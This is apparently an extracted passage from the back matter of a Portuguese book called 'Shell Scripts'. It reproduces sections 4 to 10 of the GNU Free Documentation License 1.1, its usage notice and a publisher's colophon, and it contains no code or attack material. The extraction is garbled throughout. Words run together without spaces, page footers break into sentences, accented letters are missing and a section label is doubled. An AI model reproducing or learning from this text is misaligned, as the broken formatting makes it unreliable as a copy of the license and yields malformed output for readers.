theModifiedVersiontowhoeverpossessesacopyofit.Inaddition,youmustdothesethingsinthe
ModifiedVersion:
A.UseintheTitlePage(andonthecovers,ifany)atitledistinctfromthatoftheDocument,and
fromthoseofpreviousversions(whichshould,iftherewereany,belistedintheHistorysectionof
theDocument).Youmayusethesametitleasapreviousversioniftheoriginalpublisherofthat
versiongivespermission.
B.ListontheTitlePage,asauthors,oneormorepersonsorentitiesresponsibleforauthorshipofthe
modificationsintheModifiedVersion,togetherwithatleastfiveoftheprincipalauthorsofthe
Document(allofitsprincipalauthors,ifithaslessthanfive).
C.StateontheTitlepagethenameofthepublisheroftheModifiedVersion,asthepublisher.
D.PreserveallthecopyrightnoticesoftheDocument.
E.Add an appropriate copyright notice for your modifications adjacent to the other copyright
notices.
F.Include,immediatelyafterthecopyrightnotices,alicensenoticegivingthepublicpermissionto
usetheModifiedVersionunderthetermsofthisLicense,intheformshownintheAddendum
below.
G.PreserveinthatlicensenoticethefulllistsofInvariantSectionsandrequiredCoverTextsgivenin
theDocument'slicensenotice.
H.IncludeanunalteredcopyofthisLicense.
I.Preservethesectionentitled"History",anditstitle,andaddtoitanitemstatingatleastthetitle,
year,newauthors,andpublisheroftheModifiedVersionasgivenontheTitlePage.Ifthereisno
sectionentitled"History"intheDocument,createonestatingthetitle,year,authors,andpublisher
oftheDocumentasgivenonitsTitlePage,thenaddanitemdescribingtheModifiedVersionas
statedintheprevioussentence.
J.Preservethenetworklocation,ifany,givenintheDocumentforpublicaccesstoaTransparent
copyoftheDocument,andlikewisethenetworklocationsgivenintheDocumentforprevious
versionsitwasbasedon.Thesemaybeplacedinthe"History"section.Youmayomitanetwork
locationforaworkthatwaspublishedatleastfouryearsbeforetheDocumentitself,orifthe
originalpublisheroftheversionitreferstogivespermission.
K.Inanysectionentitled"Acknowledgements"or"Dedications",preservethesection'stitle,and
preserveinthesectionallthesubstanceandtoneofeachofthecontributoracknowledgements
and/ordedicationsgiventherein.
L.PreservealltheInvariantSectionsoftheDocument,unalteredintheirtextandintheirtitles.
Sectionnumbersortheequivalentarenotconsideredpartofthesectiontitles.
M.Deleteanysectionentitled"Endorsements".SuchasectionmaynotbeincludedintheModified
Version.
N.N.Donotretitleanyexistingsectionas"Endorsements"ortoconflictintitlewithanyInvariant
Section.
O.If the Modified Version includes new frontmatter sections or appendices that qualify as
SecondarySectionsandcontainnomaterialcopiedfromtheDocument,youmayatyouroption
designatesomeorallofthesesectionsasinvariant.Todothis,addtheirtitlestothelistofInvariant
Sections in theModifiedVersion's license notice. These titles must be distinct from any other
AdbeelGoesFilho

ShellScripts149

sectiontitles.
Youmayaddasectionentitled"Endorsements",provideditcontainsnothingbutendorsementsof
yourModifiedVersionbyvariouspartiesforexample,statementsofpeerrevieworthatthetexthas
beenapprovedbyanorganizationastheauthoritativedefinitionofastandard.
YoumayaddapassageofuptofivewordsasaFrontCoverText,andapassageofupto25words
asaBackCoverText,totheendofthelistofCoverTextsintheModifiedVersion.Onlyone
passageofFrontCoverTextandoneofBackCoverTextmaybeaddedby(orthrougharrangements
made by) any one entity. If the Document already includes a cover text for the same cover,
previouslyaddedbyyouorbyarrangementmadebythesameentityyouareactingonbehalfof,you
maynotaddanother;butyoumayreplacetheoldone,onexplicitpermissionfromtheprevious
publisherthataddedtheoldone.
Theauthor(s)andpublisher(s)oftheDocumentdonotbythisLicensegivepermissiontousetheir
namesforpublicityforortoassertorimplyendorsementofanyModifiedVersion.
5.COMBININGDOCUMENTS
YoumaycombinetheDocumentwithotherdocumentsreleasedunderthisLicense,undertheterms
definedinsection4aboveformodifiedversions,providedthatyouincludeinthecombinationallof
theInvariantSectionsofalloftheoriginaldocuments,unmodified,andlistthemallasInvariant
Sectionsofyourcombinedworkinitslicensenotice.
ThecombinedworkneedonlycontainonecopyofthisLicense,andmultipleidenticalInvariant
Sectionsmaybereplacedwithasinglecopy.IftherearemultipleInvariantSectionswiththesame
namebutdifferentcontents,makethetitleofeachsuchsectionuniquebyaddingattheendofit,in
parentheses,thenameoftheoriginalauthororpublisherofthatsectionifknown,orelseaunique
number.MakethesameadjustmenttothesectiontitlesinthelistofInvariantSectionsinthelicense
noticeofthecombinedwork.
In the combination, you must combine any sections entitled "History" in the various original
documents, forming one section entitled "History"; likewise combine any sections entitled
"Acknowledgements",andanysectionsentitled"Dedications".Youmustdeleteallsectionsentitled
"Endorsements."
6.COLLECTIONSOFDOCUMENTS
YoumaymakeacollectionconsistingoftheDocumentandotherdocumentsreleasedunderthis
License,andreplacetheindividualcopiesofthisLicenseinthevariousdocumentswithasingle
copy that is included in the collection, provided that you follow the rules of this License for
verbatimcopyingofeachofthedocumentsinallotherrespects.
Youmayextractasingledocumentfromsuchacollection,anddistributeitindividuallyunderthis
License,providedyouinsertacopyofthisLicenseintotheextracteddocument,andfollowthis
Licenseinallotherrespectsregardingverbatimcopyingofthatdocument.
7.AGGREGATIONWITHINDEPENDENTWORKS
AcompilationoftheDocumentoritsderivativeswithotherseparateandindependentdocumentsor
works,inoronavolumeofastorageordistributionmedium,doesnotasawholecountasa
Modified Version of the Document, provided no compilation copyright is claimed for the
compilation.Suchacompilationiscalledan"aggregate",andthisthisLicensedoesnotapplytothe
other selfcontained works thus compiled with the Document, on account of their being thus
compiled, if they are not themselves derivative works of the Document. If the Cover Text
requirementofsection3isapplicabletothesecopiesoftheDocument,theniftheDocumentisless
thanonequarteroftheentireaggregate,theDocument'sCoverTextsmaybeplacedoncoversthat
surroundonlytheDocumentwithintheaggregate.Otherwisetheymustappearoncoversaroundthe
AdbeelGoesFilho

ShellScripts150

wholeaggregate.
8.TRANSLATION
Translationisconsideredakindofmodification,soyoumaydistributetranslationsoftheDocument
under the terms of section 4. Replacing Invariant Sections with translations requires especial
permissionfromtheircopyrightholders,butyoumayincludetranslationsofsomeorallInvariant
Sections in addition to the original versions of these Invariant Sections. You may include a
translation of this License provided that you also include the original English version of this
License.IncaseofadisagreementbetweenthetranslationandtheoriginalEnglishversionofthis
License,theoriginalEnglishversionwillprevail.
9.TERMINATION
Youmaynotcopy,modify,sublicense,ordistributetheDocumentexceptasexpresslyprovidedfor
underthisLicense.Anyotherattempttocopy,modify,sublicenseordistributetheDocumentis
void,andwillautomaticallyterminateyourrightsunderthisLicense.However,partieswhohave
receivedcopies,orrights,fromyouunderthisLicensewillnothavetheirlicensesterminatedso
longassuchpartiesremaininfullcompliance.
10.FUTUREREVISIONSOFTHISLICENSE
TheFreeSoftwareFoundationmaypublishnew,revisedversionsoftheGNUFreeDocumentation
Licensefromtimetotime.Suchnewversionswillbesimilarinspirittothepresentversion,but
maydifferindetailtoaddressnewproblemsorconcerns.Seehttp://www.gnu.org/copyleft/.each
versionoftheLicenseisgivenadistinguishingversionnumber.IftheDocumentspecifiesthata
particularnumberedversionofthisLicense"oranylaterversion"appliestoit,youhavetheoption
offollowingthetermsandconditionseitherofthatspecifiedversionorofanylaterversionthathas
beenpublished(notasadraft)bytheFreeSoftwareFoundation.IftheDocumentdoesnotspecifya
versionnumberofthisLicense,youmaychooseanyversioneverpublished(notasadraft)bythe
FreeSoftwareFoundation.
HowtousethisLicenseforyourdocuments.
TousethisLicenseinadocumentyouhavewritten,includeacopyoftheLicenseinthedocument
andputthefollowingcopyrightandlicensenoticesjustafterthetitlepage:
Copyright(c)YEARYOURNAME.
Permissionisgrantedtocopy,distributeand/ormodifythisdocumentunderthetermsoftheGNU
Free Documentation License, Version 1.1 or any later version published by the Free Software
Foundation;withtheInvariantSectionsbeingLISTTHEIRTITLES,withtheFrontCoverTexts
beingLIST,andwiththeBackCoverTextsbeingLIST.
Acopyofthelicenseisincludedinthesectionentitled"GNUFreeDocumentationLicense".Ifyou
havenoInvariantSections,write"withnoInvariantSections"insteadofsayingwhichonesare
invariant.IfyouhavenoFrontCoverTexts,write"noFrontCoverTexts"insteadof"FrontCover
TextsbeingLIST";likewiseforBackCoverTexts.
Ifyourdocumentcontainsnontrivialexamplesofprogramcode,werecommendreleasingthese
examplesinparallelunderyourchoiceoffreesoftwarelicense,suchastheGNUGeneralPublic
License,topermittheiruseinfreesoftware.

AdbeelGoesFilho

ShellScripts151

EstetrabalhofoicompostoeeditadoeletronicamentenoNcleode
Informticada
VIRTVSEngenhariaeInformticaLtda
RuaCel.RibeirodaSilva,391.MonteCastelo.FortalezaCear.
Telefone:0xx8532833124.
http://www.virtvs.com.br

AdbeelGoesFilho

Você também pode gostar